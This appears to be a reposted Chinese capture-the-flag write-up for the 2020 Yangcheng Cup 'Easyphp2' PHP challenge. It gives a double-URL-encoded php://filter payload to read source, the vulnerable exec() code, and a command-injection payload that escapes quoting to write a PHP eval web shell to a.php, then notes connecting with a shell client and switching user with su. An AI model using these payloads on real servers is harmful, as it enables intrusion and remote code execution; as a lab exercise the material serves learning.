[羊城杯 2020]Easyphp2
生活随笔
收集整理的這篇文章主要介紹了
[羊城杯 2020]Easyphp2
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
知識點:偽協議,linux下的su命令(更改當前用戶)
分析
看到這種url,直接偽協議,過濾了幾個加密,但問題不大,url編碼兩下就可以了。
?file=php://filter/%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565/resource=GWHT.php
這邊貼一下url編碼的exp:
獲得GWHT.php的源碼。
第一段意思就是cookie不能為PASS,要等于GWHT
第二段是要我們命令執行:
<?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?> 簡化一下就是這樣子,雖然它過濾了<?php但我們可以用<?=代替。 printf ' $count ' | wc -cpayload: '|echo "<?= eval(\$_POST['cmd'])?>" |tee a.php|'合起來就是這樣,意思是把shell寫入a.php文件里。 printf ''|echo "<?= eval(\$_POST['cmd'])?>" |tee a.php | '' | wc -c更改cookie后提交一下payload
用蟻劍連一下,發現flag,但要權限
在README中告訴我們了密碼,解密一下就是GWHTCTF
用su命令改一下當前用戶就行了,然后讀取就可以了。
總結
以上是生活随笔為你收集整理的[羊城杯 2020]Easyphp2的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 物联网实训笔记_java处理XML文档
- 下一篇: php如何获取百度快照,php代码获取